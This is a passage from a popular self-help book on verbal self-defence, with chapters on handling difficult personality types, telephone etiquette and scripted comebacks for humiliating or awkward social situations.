If this behavior seems to be the norm, trust will be nonexistent. The only thing you can trust about them is that
they will do nothing because they either can't decide what to do, or they just don't want to do it. However, in
both cases, they will lead you to believe that they will do it. Don't be fooled.
The most important thing when dealing with this type of dangerous person is to let them know that you are on
to them! They are so upsetting. They can mess up your plans. They can destroy your emotions. They can
devastate your hopes and dreams.
Page 246
They may have led you on with “yes” after “yes” so that you think that you are going in one direction. You
make plans for that direction, when that wasn't the direction they planned at all. As a result, you are left
“holding the bag”—basically fooled! When they say “yes-yes,” you need to use the Direct Confrontation
Techniques with them. You need to let them know that, based on your past experiences with them, they said
“yes,” you depended on them to do something, but they never carried it out. If it happened on several
occasions, let them know that you find it difficult to trust them.
Now you may want to employ the Calm Questioning Technique by asking them if there is any way you can
help them arrive at a decision. Ask them if you can help them do something to make it easier on them. Get
some specifics from them, some time deadlines! Ask direct questions concerning when they think it will be
done or what will be happening. Then check up and see if it is done as you approach the specified deadline.
This is done so that you can be assured it will be done on time.
Talk Back
Snappy Comebacks for Yes-Yes Do-Nothings
“When will it be done?”
“When can we expect this to be completed?”
“Are you sure this is going to happen?”
“I would really like to know one way or the other.”
“Do you need my help on anything?”
“Perhaps I may be sounding pushy, but I really want to make sure….”
“The uncertainty of the situation is making me feel uncomfortable.”
“Is there anything I can do to make sure it will happen?”
“Does ‘yes’ really mean ‘yes’ or does it mean ‘maybe’ or ‘no?’”
“Does ‘yes’ mean ‘no, I'm not gonna do anything?’”
“I would be more focused and productive if you could give me a definite
answer.”
Page 247
If you don't get an answer one way or another, it is way too frustrating to do business with this person. Even if
you are related to them or they are a friend, it is impossible to be around them, for the simple reason that you
can't depend on them.
If you have tried the snappy comebacks or a direct confrontation with a yes-yesser and they still aren't
following through for you, it might be time to unplug.
The Mentally/Verbally Disturbed
This is the most difficult group. On one level you feel sorry for them, because they can't help it; on the other
hand, if you are around them long enough and don't know how to communicate with them, they will drive you
insane. They should never be underestimated in terms of their intelligence. Mentally or emotionally challenged
individuals are often smarter and more aware than they are given credit for.
The problem with them often lies with the biochemistry in their brain functions. Biological components,
coupled with psychological and environmental dynamics, affect what type of socially unacceptable behavior
may occur. Being around them is extremely draining, and unless they are under medical supervision, life with
them can be a living hell.
They may be suffering from depression ranging from chronic to acute. They may always seem gloomy, which
is very taxing to be around. Like others who suffer from mental and emotional dysfunction, they many need to
be treated medically.
Others may be self-destructive or have alcohol- or drug-related problems. Some may have bipolar disorder
mood swings or something more severe, such that they cannot relate to people at all (such as borderline
personality disorder), or they may be completely out of touch with reality (suffering from a condition such as
schizophrenia).
With all of the individuals who have mental-verbal disturbances, you need to use the Direct Confront
Technique coupled with a lot of Love and Kindness! Because they are usually so emotionally tender, fragile,
and even raw, they need to be handled with the utmost sensitivity, caring, and empathy. It is imperative that
you encourage them and even help them to get into some type of program that can help them.
If the person has drug, alcohol, or gambling problems that require outside help, whether in the form of AA, a
rehabilitation program, a therapist, or a combination of all three, you must use loving and encouraging tones.
Sometimes you may have to employ more of a “tough love” technique with harsher and more severe tones so
that they will hear you. Whatever the case, you need to be direct and loving.

Page 248
The same holds true for those with the other mental or emotional conditions that I just referred to. Kind and
gentle tones with love, combined with direct honesty, help to create a more secure environment, which allows
for effective healing and faster progress. One thing to remember is that people with mental conditions need not
be kept at bay, shunned, ostracized, or treated differently. In this day and age, with all the wonderful
medications available, psychopharmacologists, and psychotherapists, they can live a rich and fulfilling life just
like anyone else. Therefore, if they happen to open up to you about their condition, never hold it against them.
Never scrutinize them for the slightest waiver in their behavior or make them feel guilty or embarrassed just
because they have this life challenge.
Racist, Sexist, Verbal Xenophobes
Truly they are among the most revolting and evil of the dangerous verbal abusers. Their aim is to promote that
they are better than everyone—that everyone else around them is less than they are. They make others feel
badly.
If they take their xenophobic views to the limit, they destroy! If they can destroy with the spoken and written
word, who is to say they can't destroy physically?
There are various reasons why they hate others so much or they have targeted a specific group to hate. First,
they hate themselves, so they project their own self-hatred onto others. Secondly, they are usually envious of
the object of their hate (remember “envy seeks to destroy”). Even if you put a gun to their head and they
vehemently deny it, the fact is that they are indeed envious. They may not even be conscious of the fact that
they are being envious! Maybe deep down they are envious of the group's power, love among one another,
closeness, unique and strong culture, and their perceived ability to get ahead, to have more, get away with a lot,
or be in a more controlling position than they are in.
Page 249
Racism, sexism, and xenophobia should not be tolerated in any shape or form. Direct Confrontation and Direct
Questioning are musts; so is Unplugging. While Giving 'Em Hell and Yelling is probably justified and can
release your anger, it can also get you killed. So if you decide to Hell and Yell it, just know that there is a 50/50
chance you may end up getting hurt or hurting someone physically.
Vicarious Fantasy, Tension Blowouts, and Unplugging work best with this type of person! Sometimes you
have no choice but to be around these miserable creatures. Your best bet is to Unplug anytime you can—leave,
let go, and never look back!
Verbal Lumberjacks.
Verbal Lumberjacks spend a good part of their time cutting others down. They may even be humorous, but
they are not so funny when they are cutting you down. It is degrading and demoralizing. These people are
arrogant, mean, and highly disrespectful. They seem to always find fault with everyone. Nothing is sacred. If
they do give a compliment (a very rare occurrence), it will definitely be back-handed.
The basis for these Verbal Lumberjacks' barbs is their insecurity. They are so full of self-loathing and are so
afraid about what others think about them that they try to beat them to the punch—cut the other person down
first.
Humor is one of the best ways to call the Verbal Lumberjack's bluff. Sometimes they will laugh with you, but
most of the time they won't. They can readily dish it out, but because they are so insecure, they have a hard
time taking it. When you do dish it back to them in the form of the Mirror Technique coupled with humor,
however, they will definitely get the message. It will come as a big surprise if they still continue their cutting
ways in front of you.
The Calm Questioning Technique may also be a good strategy to use. As soon as they make a cutting remark
about another person, don't laugh, chuckle, or in any way indicate that you agree with them. Instead, ask them a
serious question about what they said and keep asking questions to their every negative response until they get
so frustrated and finally get the point you are trying to make. See the example in the “Talk Back!” section that
follows. In essence, you are cross-examining them, and when they see how illogical their words are, they will
usually keep their mouths shut (at least in your presence for the time being)!
Page 250
Talk Back
Verbal Lumberjack (VL): “Look at that fat girl over there!”
You: “Why do you call her fat?”
VL: “Look at her! She looks like a pig!”
You: “Why does it bother you to look at her?”
VL: “Cuz she makes me sick! Women aren't supposed to look like that.”
You: “Don't you look beyond her weight to see if she's good person inside?”
VL: “No! I wouldn't want to know a person who had no self-control. She's
probably a mess!”
You: “So, you find all overweight people looking like pigs and messes?”
VL: “That's about right!”
You: “So, since your mother is overweight and even you have that little tummy,
would you say that you and your mom look like pigs and are messes?”
VL: (MOUTH OPEN, S-I-L-E-N-C-E!!!)
When the Verbal Lumberjack cuts you down, it is either because you have something they want or represent
something that they cannot face. In any event, they feel inadequate around you. Therefore, having this added
knowledge may allow you to be more sensitive towards their plight and perhaps sprinkle them with a little of
the old Love and Kindness Technique.
Nosybodies
These people can destroy your life forever. They can spread rumors about you that can damage your character
and destroy your reputation, and you may never be able to recover from the repercussions. The consequences
of their verbal damage may resonate and travel over great distances over long periods of time, thus potentially
ruining your life forever!
They usually have so little going on in their own lives that they have to get involved in other people's lives to
stir up some action. This enables them to entertain themselves at the other person's expense!
First of all, let them know that you are onto them and that you won't take their butting in anymore. Directly
Confronting them is your best move. You can also Calmly Question them using a combination of these two
tactics along with humor.
Sometimes they will not hear you, so you have to Give 'Em Hell and Yell. You have to talk very loud so they
Page 251
finally get it! Just let it go! They will think twice about bringing your name up again. If they do, at least they
will take extra precautions to make sure that the dirt doesn't get back to you!
You cannot Unplug without letting them know that they are jerks for what they did and for what they said
about you! Only after you let them know that you're onto their little game can you feel free to Unplug from
them!
Page 253
PART 6
DODGING VERBAL BULLETS IN SPECIFIC BATTLEFIELDS
Now you know how to identify your verbal enemy, arm yourself verbally, and use all the possible strategies
with which to defend yourself. You understand which tactics to use against specific people you may confront
throughout your life, and the specific verbal defense tactics to implement against different types of verbal
vermin.
In this part of the book you learn how to verbally handle yourself in any situation that may come your way. You
will learn what to say in any situation, from the most benign to the hairiest.
After reading this part, you will never again be at a loss for words! No situation will ever leave you with your
tongue hanging out of your mouth or your brain spinning. You will never be mute, whether on the phone, in a
business meeting, or in the bedroom.
You will know exactly what to say, whether you are breaking bad news or receiving it. You will learn how the
words you use in specific situations can actually save your life. Finally, you will learn what to say in the most
important situations in your life—when you are talking about YOU!
Page 255
Chapter 20
Verbal Defense over the Telephone
The telephone can be your best friend. It can be a great source of pleasure as it helps you accomplish things
like making money, enhancing business contacts, exploring career opportunities, purchasing things you need,
and connecting with friends, family, and loved ones.
But there are times when the telephone can be your worst enemy. It can be a source of tension and
unhappiness!
In this chapter you learn exactly what to say in just about any situation you will face over the telephone. Some
of the scenarios you'll read about will ring close to home. You, along with just about everyone else who has a
telephone, have experienced these things at one time or another.
The unique aspect of this chapter is that not only do I discuss the specific telephone scenario with which you
can identify and then share with you all of your viable verbal defense options, but I tell you exactly what to say.
Nine times out of ten it will work for you, so go for it!
Page 256
Pesky Persistent Telephone Sales Calls.
You're home from a long day's work at the office. You throw off your shoes, plop down on the sofa, and smile
with relief. All of a sudden, the phone rings. Since you're not expecting any phone calls you wonder who it
could be: your mom, your best friend, your girlfriends, your guy friends! In any event, you still have a smile on
your face as you say “hello” in your bouncy, upbeat tone. Suddenly your smile turns upside down. It is a
salesperson, and she won't stop talking! She is reciting her obviously rehearsed pitch for you to change to her
telephone service. You try to get a word in edgewise to tell her you're not interested, but you can't! She just
keeps talking and talking and talking and talking!
Before I tell you what to say to pesky sales people, I need to point out that not all salespeople are pesky.
Telephone solicitation is not necessarily a bad thing. In fact, it may be a wonderful thing! It may be a
wonderful way of doing business! It is wonderful to have someone call you up and tell you about a product or a
seminar that you were thinking about or that you thought sounded interesting after hearing their pitch. There is
nothing more wonderful than to have purchased or to have signed up for a product that positively enhanced
your life in some way.
I am not talking about the polite salesperson who is kind and thoughtful! I am talking about the person who
calls at inopportune times, who won't take “no” for an answer as he tries to browbeat or shame you into a sale.
So what are you supposed to do when the salesperson won't stop talking? Your first step is to interrupt them in
a LOUDER voice than they are using. Say the following: “I am NOT interested now. I will NOT be interested
later. So PLEASE NEVER CALL AGAIN!” Since they might call again (days, weeks, or months later), before
you hang up, ask where the main office or headquarters of their company is based. Ask for the phone number.
Ask for his supervisor. Try to get as much information as possible out of her. In order to do this, you must
sound kind, pleasant, cooperative, and polite. If she is reading from a rehearsed script, tell her that before she
sells you something, you need to know this information.
Chances are, she won't know it. Therefore, you will need to speak to her supervisor or to the supervisor's
supervisor. No matter how you obtain it, get the information! Call the company's headquarters and get taken off
their phone list. If they persist threaten them legally. Then hang up on them!
Page 257
Slick Willy
Has anyone ever tried to sell you something over the telephone you didn't want to buy but did anyway? Maybe
they intimidated you into giving money to charity or to a religious cause—perhaps even a great cause.
The person on the other end of the phone was such a great talker. Maybe it was his slickness or bravado. His
voice sounded so rich and resonant, words flowing, full of enthusiasm, and confidence. How could you even
dream of saying no? Before you knew it, you had pulled out your Visa and recited the expiration date on your
card.
Before you start to max out your credit cards, STOP! BREATHE IN! LISTEN! Next, STOP! BREATHE IN!
ASK! Ask questions. Ask about the product, the charity, the event. As soon as you have acquired enough
information, tell the slick-voiced soul that you will be right back. LEAVE FOR A MOMENT! DON'T GET
CAUGHT UP IN THE MOMENTUM! Get a drink of water, walk to the door, then walk back to the phone. Do
anything. Just don't get sucked into a trance by his hypnotic, slick, all-knowing tones.
Tell him you'll call him or that you'd like to think about it. If he persists and tries to intimidate, pressure, or
shame you, say the following: “Listen, I heard everything you said. You sound like you really know what you
are talking about. I respect you for that. Now you have to respect me and give me some time to think about it
and to let ME call YOU if I choose to get involved in this (charity, purchase, whatever).
Here is where you may start to see his true colors. The once-polite, slick-voiced, credible-sounding person may
turn into a verbal monster with a mean staccato or harsh voice that sounds as though he is annoyed with you
because you wasted his time. If you hear this voice, tell him you are through talking and need to hang up now.
Then hang up the receiver.
Unhelpful Helpers
Have you ever made a telephone call to someone to either obtain information or get proper service (discussed
earlier in Chapter 16) who was doing neither? Did she have a snippy tone and a snotty attitude, as though she
was doing you a huge favor just
Page 258
talking to you? Did the person frustrate you so much that you wanted to crawl through the telephone lines and
choke her? Guess what? I can guarantee you that practically everyone else has felt the same way you have!
Be direct. Say “Please help me! Please, I really need help!” If she says, in her snippy, obnoxious little tone, “I
m trying to help you!” say, “Well, I don't feel helped. I feel hindered.” (Then go off on her as you continue to
spew forth how upset you are.) “ … I feel upset, I feel terrible, I feel frustrated. I feel like I am lost and that
there is no way out! Help me! Please help me!” (This is even more effective if it is done in a crying or whining
tone, as annoying as that may seem it seems to elicit more sympathy.)
This type of talk usually causes people to try their best to help you. They will try to hurry up and accommodate
you just to get you off the phone. They may even get so weirded out by you that they may call their supervisor
into the picture to help, which is what you wanted all along. Now at least someone with less of an attitude can
perhaps solve your disaster.
Speaking of attitude, if someone over the phone has a bad attitude and is short or fresh or abrupt with you, you
can bet that most likely it has nothing to do with you! Why would it? They don't know you. They can't even see
you! Maybe they got into a fight with a boyfriend or wife. Maybe their tummy hurts. Maybe they spent their
entire life savings on lottery tickets and lost! Who knows why? But just to make sure it isn't you, check in.
Check in nice and friendly. As soon as they give you attitude about it, say “sounds like you're having…”: a)
“bad day,” b) “a long day,” c) “a stressful day,” d) “a hard day,” or say e) “a lot of these hassles are like mine
today.” Take your pick.
Another way to get results is to consistently maintain a sweet, polite, kind attitude with a pleasant tone.
Usually, good outweighs evil, so you will see some positive changes in them after a short while. They usually
do come around if you can stay strong enough and stay on your verbally positive course long enough.
Go Ahead—Blame It on the Phone!
The phone can be your best scapegoat in allowing obnoxious sounding people, like the annoying verbal abusers
we discussed in Chapter 17, off the hook. It enables them to save face, while at the same time allowing you to
get your point across so that you won't have to listen to their grating sounds: sounds as annoying as fingers
raking across a chalkboard.
Page 259
Oh No! I Need Some New Eardrums!
You feel as though you are in desperate need of an eardrum transplant after a loud talker blew your eardrums
out with his booming voice on the other end of the phone line. What do you do? You blame it on the phone!
Had you known to do this before, you wouldn't have needed that eardrum transplant after all! The second your
head jolted away from the phone receiver you should have blurted out, “Your voice seems to be coming across
so loudly on this end of the receiver. It's probably the phone! Perhaps if you speak really softly I can hear you
better.” Whenever they speak in their loud tone, just keep blaming it on the phone until they speak softer. What
you are in essence doing is conditioning them to speak to you in a softer voice.
See, you have been a diplomat! You have gotten what you wanted (healthy eardrums) and allowed them to save
face at the same time. You have blamed their obnoxious tones on the poor technology of your telephone.
Huh? Huh? Huh? Huh?
What happens if the person talks too softly? Once again, blame it on the telephone. Tell them that your
telephone is very sensitive (it's not a lie—all telephones are sensitive and require that the person speak directly
into the mouthpiece). And voilà—you can finally hear the person. It's magic!
What in the World Did They Say?
You can't understand the person because she mumbles or speaks too fast. Whose fault is it that you don't
understand them? Why, it's the telephone's, of course! Tell the problem talker that you don't want to keep
asking to have things repeated and that your phone may not be able to pick up everything they say. This, too, is
not a lie. Since they mush up their words or talk a mile a minute, how can you, on the other end of your phone,
pick up what they are saying? When you tell them to speak extra slowly because you don't want to miss a word
they say, their speech often slows down dramatically.
Help! I'm Gonna Drown in a Sea of Words!
What about those who are too wordy or who speak too slowly? When you notice them getting a bit too
verbose, long-winded, or taking up too much verbal time, tell them that your phone lines can disconnect, so it's
very important to get to the point a little faster than they normally would.
Page 260
Once again, this is not a lie. Phones lines have been known to cut off, especially during a power outage, power
surges, snow, hail, rain, or thunderstorms, earthquakes, tornadoes, heat waves, floods, fires, lightning, and
other natural disasters. You never know when one of these disasters will actually hit and possibly cut off your
connection.
They could be engaging in one of their long-winded tales and then where would you be? Unable to have heard
their entire story, because your phone cut out. Who's to say that this wouldn't happen when you are talking to
them?
By making them aware of the possibility of the phone line being cut off, you have accomplished your goal—to
make them get to the point and not bore you to death! By the way, you don't have to go through all the
preceding reasons as to the different possible reasons why the phone lines could be cut off.
I Gotta Go, I Gotta Go, I Gotta Go, I Gotta Go!
Before you get all bent out of shape at the poor person who won't get off the phone—the one who doesn't seem
to ever want to hang up the receiver when they talk to you—you need to consider two things.
First of all, they might be suffering from a psychological issue known as “separation anxiety.” This usually
stems from a problem in early childhood, which may deal with early abandonment issues. Obviously this is not
your problem and you don't have the time or the energy or the training to deal with this. The second reason is
that they like you. They really like you! They like you so much that they don't want the moment to end. They
don't like being away from you!
Why have I told you this? Because just knowing this often gives you a new insight so you have a little more
compassion and may give them a little more “phone time” than you normally would.
What do you say to the person who won't get off the phone? You have told them a million times that you have
to go and they turn a deaf ear to the phone line. Once again, you can blame it on the phone. This option is the
same one you used with the person who talks too much. Say that your phone can cut off.
When you know that Mr. or Ms. Chatterbox has called, don't be rude to them. You just never know when they
may be revealing something of major importance or value to you. You need to greet them in a cheery and
upbeat tone and hear them out for a few moments. But set a time limit—let's say three minutes. When those
three minutes are over, politely edge in the sentence “I'd love to spend more time talking, but I have to get
ready to leave.”
If you can't spit this phrase out because they are so consumed by what they are saying as they talk over you,

Page 261
keep repeating their name over and over in a calm tone. They will definitely get it. If you tell them enough
times that you can speak to them only for a moment and really stick to your word, you will be conditioning
them. They will eventually understand that when they call you, it's gonna be short and sweet.
I Got Your Machine! You Sound Silly!
Please, please, please! (I am really pleading with you—my hands are clasped together and there is a serious
look on my face. My brows are furrowed and I look disgusted!) I, along with everyone else who has called
your machine, has cringed when we listened to your answering machine message.
The joke on your machine you think is so funny? Well, guess what? It isn't. It's silly and makes you look
ridiculous!
That song you think is so hip because you love the lyric? Well, guess what? Not everyone likes rap music
forced down their ears, and surprise—nobody can even hear the lyrics!
I know that your happy little Johnny has finally learned to put some sentences together and how cute you think
he sounds. But guess what? Nobody else thinks he sounds cute! They cringe at the sound of his high-pitched,
drooly-wet, sing-song tone that nobody but you can understand. When we hear you coaching him to say
“Goodbye, talk to you later,” we are convinced that you should drag him to the nearest speech therapist as soon
as possible!
Phone machines are not designed to reflect your personality or unique talents. We don't care that you can sing
opera, play the flute or guitar, or do impersonations of famous people (most of whom are dead). We don't care
about the bells or the whistles! All we care about is that you got the message that we called and that you will
return our call when you hear our message. That's it! NO MORE! NO LESS!
Time to Change the Message.
You have to get this message across to the other person. Granted, this is not the easiest task to do, especially if
someone has spent a lot of time perfecting their lousy, ridiculously embarrassing piece of laughable garbage
they call a phone message.
Depending on the type of person they are, you may want to start with the humor approach. Try to make a joke
out of it. Say something to them connected to their

Page 262
particular sick sense of humor that would make them chuckle. You are in the right arena when you try and
match the humor that is similar to that on their phone machine. This often gives you a common bond and
allows you entry into the door of the “verbally uncomfortable.” Then you might want to say something like,
“You know, you and I find this funny, but a lot of people out there don't share our great sense of humor. In fact
most of them don't even have a sense of humor.” The ignorant message producer will usually smile and agree
with you.
Making a Great Message
Remember the old Saying KISS (“Keep it simple, stupid”)? Well, do it! The two messages I'm about to give
you are the only messages you need to use. They are simple and get the point across. You can expand on them
by asking for the times and other necessary information but remember to keep it simple.
The first sample phone message is fairly personal. The second is less personal and more to the point. Choose
whichever is more appropriate for you.
Hello, _____(I, we, name[s]) am (are) not available to take your call at the moment, but if you leave your
name, your number, and a brief message after you hear the beep (tone), your call will be returned just as
soon as possible. Thank you for calling!
It's not possible to take your call right now. If you leave your name, number, and a brief message, your call
will be returned shortly. Please leave your message after the beep. Thank you.
Speak slowly, but not too slowly. Try to sound upbeat, which means don't record it when you are not feeling
your best. Draw out each vowel for approximately one second as you flow one sound into the next. Doing this
allows you to have more crisp and articulate speech as you record your message.
Phone Munching
Let's say you have a chicken leg in your mouth when the phone rings. You pick up the phone and say “hello.”
The person on the other end identifies himself or herself. If it is someone with whom you must preserve a
professional image or do business, spit the chicken out of your mouth immediately and then begin speaking.
Do not, I repeat, do not, chew, swallow, or take another bite until your conversation is finished and you have
hung up the receiver. Under no circumstances do you tell them that they just caught you with a chicken leg in
your mouth. Ugh! No! Never!
Page 263
On the other hand, if it's a friend on the other end of the line, continue chewing, swallow, and then say, “My,
you caught me with a piece of chicken in my mouth. I was just having a little bite to eat. Do you mind if I eat
while we talk or would you prefer talking later?”
Now, that's class! You have taken them off the spot and made it their decision. For some people, having
someone chewing on the other end of the phone is not annoying at all. They never even give it a second
thought. They figure, if you're hungry, no matter where you are or what you are doing, for goodness sake EAT!
Food comes first! Go ahead. Enjoy yourself!
On the other hand, there are those who find eating while on the phone appalling. They find all that smacking
and gooing and chewing annoying, distracting, disgusting, ill-mannered, and distasteful. The bottom line is that
when you are in business mode, never eat on the phone. When you are in friendship mode, check in to see if it's
okay to eat over the phone. If it's not, don't hold it against them. Accommodate them. That's what friends do!
Choose—Them or Me?
People who talk to others while you are on the phone with them are playing some sort of a power trip with you,
or they are so unconscious that you wonder what they are doing in your life to begin with. Business people
often do this to show you what a big shot they are.
Unless it is truly urgent, it is unconscionable and one of the rudest and most disrespectful acts to talk to
someone else when you are on the phone.
Sometimes you have no choice. Interrupting the conversation midstream to tell your housekeeper to turn the
stove off because you smell smoke in the kitchen so your house doesn't burn down is just fine. Scolding threeyear-
old Johnny, who thinks it's fun to stick his hands in the toilet or his fingers into a light socket, is
understandable. What is not understandable is Johnny interrupting you every two seconds to ask you a question
and you responding to every one of his questions—much to the irritation of the person on the other line.
While every book on child language development tells you to answer your child's questions and to respond to
them verbally so that they will learn to speak well, they do not mean while you are on the phone talking to
others.
Page 264
If you are the recipient of this type of phone abuse, whether from a child or a third party, tell the person on the
other end of the line that you have to go. Tell them that you will speak later. Don't even give them a chance to
explain. In essence you are using negative reinforcement. You are punishing them for their rude, ill-mannered
behavior.
If they do this over a long period of time, abruptly tell them you have to go and then get off the phone
immediately. Believe me—they will finally get the message! When you are on the other end of the line, you
can be assured that you will have their undivided attention!
A Return Call Would Be Nice!
Everyone is busy! Actors are busy! Athletes are busy! Mayors are busy! Mothers are busy! CEOs of Fortune
500 companies are busy! Brain surgeons are busy! These busy people still manage to call back! Probably the
reason they are so successful and so well liked is because they respect others enough to call them back!
There is nothing that turns a person off in business or socially then someone who does not respond in kind to a
call! It is both rude and inhumane. It creates hard feelings and can destroy business relationships and personal
relationships forever.
If someone doesn't call you back and you need to talk to them, keep calling until you get them. If they are rude
enough to not return your call, then they won't mind that you are being rude enough to keep calling until you
get through to them.
After hearing that you have called for the umpteenth time, they will grudgingly take your call. At that time, you
say, “I am so sorry to keep calling you. I am usually not this persistent, but since I never heard from you and I
really needed to talk to you, I thought I'd call until I finally got a hold of you.”
Stop Calling Already!
Even though they may annoy you, you can't get too upset with people who call too much because they might be
lonely, they may really like you, they may be dependent upon you, or they value your judgment, opinions,
ideas, and intelligence. Therefore, they regard everything you say as gospel. They want to tell you everything
they are doing in their lives in order to get your approval. They want to take everything they are
Page 265
about to do in their lives and run it past you so that you can tell them what they should and shouldn't do and
why.
In essence, they call you so much because you have been relegated to the role of surrogate “parent.” They don't
mean to be a pest, they just feel that they can't function without you.
Page 267
Chapter 21
Verbal Self-Defense in Sticky Situations.
Before I begin this section on what to say in sticky situations, I must warn you that these words are by no
means the last word! They are merely designed to give you some general idea of what to say. You can follow
them verbatim or you can modify these helpful comments to your particular situation.
As I have expressed several times throughout the book, it is imperative that you know exactly who you are
saying these things to. Depending on who you're speaking to, it is sometimes a good idea to keep your mouth
shut. But if you do decide to speak, you can be sure that using these words can give you confidence in
defending yourself verbally.
Now you will have the words at your tongue's tip to spew forth so that you can say exactly what you meant to
say. When people try to pressure you into something you don't want to do, ask you for money, or humiliate you
in front of someone, they will be quite shocked by the person they chose as a “verbal victim.” When they hear
what you have to say to them, believe me, they will never mess with you again! They will have newfound
respect for you!
Page 268
I'm So Humiliated!
Whether it's done by a co-worker or a friend, there is no worse feeling than being humiliated in front of other
people. You feel like crawling into a hole and never coming out.
When someone does this to you, it makes you feel two feet tall—like a child. In fact, being humiliated usually
makes you regress back to your worst childhood memories—when you were feeling scared, unsure of yourself,
unloved, and unwanted. You regress into that insecure, helpless, defenseless child who has no idea what to say.
Sometimes, the insecure child decides to fight back and becomes rather defensive and even highly aggressive.
Now that we are adults, we are supposed to have more control over our emotions and how we handle people
who try to embarrass or humiliate us—but we don't! We either hang our heads in shame and say nothing, or we
lash out and attack back!
Ouch! Those Coals Are Hot!
When people rake you over the coals or try to berate you in front of someone, they are usually doing this in
order to make themselves look good or to assert their power. What they don't realize is that when they do this
to you in front of others, they usually end up making themselves look bad. The way they treat you might even
influence whether others continue to do business with them.
I have known of several people who stopped doing business with others for this reason. For instance, they have
gone to a business lunch with such a person. After hearing him berate a waiter, they wanted nothing more to do
with him. So, one soothing factor when a person berates you is that it often backfires.
One thing you can say to a person after he has completely ripped you to shreds is to say “Now that that's over,
do you feel better?” Another approach is to completely agree with him. When they say “How could you…?”,
you mirror right back “That's right, how could I?” Get even madder and sound even more irate and louder as
you yell at yourself. Berate yourself more than they berate you. That will not only put a quick stop to their
behavior, they will often come around to your aid. They will usually say “Well it's not all that bad!” They will
try to comfort and appease you.
It's Not So Funny When It's Me!
When someone makes fun of something you did that you didn't find particularly funny, it can be just as
humiliating as when someone rakes you over the coals. When you want to befriend and impress people, you
don't want some idiot telling them

Page 269
about the day you looked ridiculous wearing shoes that didn't match and were so out of it you didn't even
realize you had done it. You cringe because you don't want the listeners to think of you as a flake or a weirdo
who does this all the time. You also don't want them to know the real story—that you were so hung over from
the night before you had no idea where your shoes were, so you grabbed any shoes just so you wouldn't be late.
Another example. You are dying inside as you hear your sadistic colleague tell your potentially new
supervisors about your faux pas at a presentation you gave at a board of directors meeting. She freely and
loudly volunteers that instead of saying “that was the interesting part,” you said “that was the interesting fart.”
Everyone was holding their sides, including you. The only difference was that they were holding their sides
from laughter and you were holding your sides from nausea. You wanted your new colleagues to respect you,
not to laugh at you and see you as a joke.
Since your colleague made you look bad in front of these colleagues, peers, or potential friends, it is best to
laugh along with them and lightheartedly say something like:
• “You must have a touch of Alzheimer's. That wasn't me—that was your [sister, mother, wife, girlfriend,
boyfriend, husband, son, daughter—take your pick!]”
• “You sure know how to show people the best parts of person's image, don't you?”
• “Excuse me, what's your name again? Do I know you? Are we friends? I don't recall any of my friends who
would humiliate someone so badly!”
All the while, you make these statements, remember one major thing—SMILE.
If you didn't smile and gave these lighthearted yet biting answers (which are actually stinging retorts) and
yelled, screamed, and accused, your potential new friends or business associates might see you in an
unfavorable light. This light can shut both professional and personal doors for you.
Burning Brunts of Jokes.
Being the brunt of a joke is much like being the butt of a cigarette. They both burn! Both can destroy your life
forever! One destroys you physically, while the other destroys you mentally and emotionally.
When one is constantly humiliated by being teased or made fun of, even in jest, eventually he comes to believe
it, because it is constantly reinforced. Not only does the person who is teasing him or joking with him remind
him of his shortcomings, but everyone around such a teaser follows suit. Why? Because joking around, no
matter how hurtful it may be to the target of the joke, is contagious. Monkey see, monkey do!

Page 270
One person sees another person making fun of someone, so the others think that person is an easy target. Then
they follow suit, in order to amuse themselves, and proceed to verbally torture the person by making them the
brunt of their jokes. That person is so overwhelmed (especially if he is a child), that he walks away, cries, and
has trouble showing his face publicly.
As an adult, even though he may feel like crying, the minute he is in a group and is singled out as the brunt of a
joke more than once, that is one time too many! If you are such a person, put a stop to it! And do it NOW!
Turn to the person who just made the “joke,” and put on a huge exaggerated phony forced grin. Point your
index finger directly at them. In front of all the other people, say in an upbeat, sing-songy, humorous, jokinglike
voice: “Now its your turn! From now on, the brunt of all jokes will be directed here!” (pointing to the
person). You also have another choice, and that is to act like a disgusted parent. Wave them off by saying
“Enough already! It's getting old!” Say it in a calm, bored, monotone with an accompanied bored look on your
face.
Now if you want to be a little more high-drama, hold up your hand like a traffic cop does to indicate “STOP!”
Say “STOP RIGHT NOW!” Then turn on your heels and leave. Go anywhere—to the bathroom, outside,
anywhere. Just walk away. You will be away for only a minute or two to give them time to reflect on their bad
behavior. Then you will re-enter the room. They will be in shock! There may be silence. It may be the same
initial silence as when a king, queen, or rock star walks into a room! They can't believe you actually came
back, especially after thinking you were so upset with them!
Now that you have thrown them completely off-guard, give a big hearty smile. Resume your conversation.
Believe me—you'll never be a brunt again!
You Don't Like Me! You Really Don't Like Me!
Smile, smile, all the while. Sometimes when a person can't stand you and you smile at her, she suddenly begins
to be able to stand you more and more. Talking to someone who you know really doesn't like you is no fun!
For some reason, perhaps a past transgression, a miscommunication, unwarranted gossip, or jealousy, she just
is not receptive to you. Whenever you are around she gives you the cold shoulder, gives you that “look,” or
says something nasty, curt, cutting, sarcastic, or snippy to you. You can't make excuses for her any longer. It's
way too obvious.
What do you do? Unless it affects your dealings with others or makes you so uncomfortable you feel like
crawling out of your skin or pulling her out of hers, you need to

Page 271
bust her on it ! Be upfront! You have nothing to lose! She doesn't like you anyway!
Say something like this: “Look, I know you have some hard feelings towards me. I am not sure why you do. If
you care to talk about why you feel so badly about me, I would like very much to get that out in the open once
and for all. You never know, maybe there's been a misunderstanding we can clear up.”
Notice that you are saying this in a very casual manner. There is no formality here. You are not giving the
impression that you are reprimanding anyone or pleading with him. Instead, you are being open and honest and
claiming to want to know what's going on.
It is very important to note that while you are making the preceding statement, you should not frown or act too
serious or have a tense or uptight facial expression if you can help it. Instead, try smiling at her. Try to have a
light and casual facial expression. This will help her feel more comfortable in your presence and even mirror
back to your positive and open-faced expression. At least the door is open. She knows you know, and you
know she knows. You were big enough to have made the first move, so if it works, you won! If it doesn't work,
you still won!
By the way, if she doesn't want to talk about it or resists your efforts to be open and put the matter to rest,
chances are she has no reason for not liking you. It's about what you represent to her, not what you actually did
to her. So, now that you know your verbal adversary, be aware!

Page 272
When Someone Says Something Mean or Sarcastic to You
By now, after reading this book, you definitely have a good handle on why people say sarcastic and mean
things to others, especially when they are unprovoked. The very best way to counteract these hostile words,
especially when there was no apparent reason for the person to say them, is to respond in six simple words. The
six words are “Excuse me, what did you say?” When one says these six simple words to other people, the other
person always stops for a moment to regroup. They do it because they need that momentary pause to call upon
the information stored in their brain cells. They need to rewind the imaginary tape of what they said and repeat
it verbatim. Their brain goes into automatic, and then they usually go ahead and repeat what they said.
People who intentionally say something nasty or sarcastic to you definitely don't expect you to ask them to
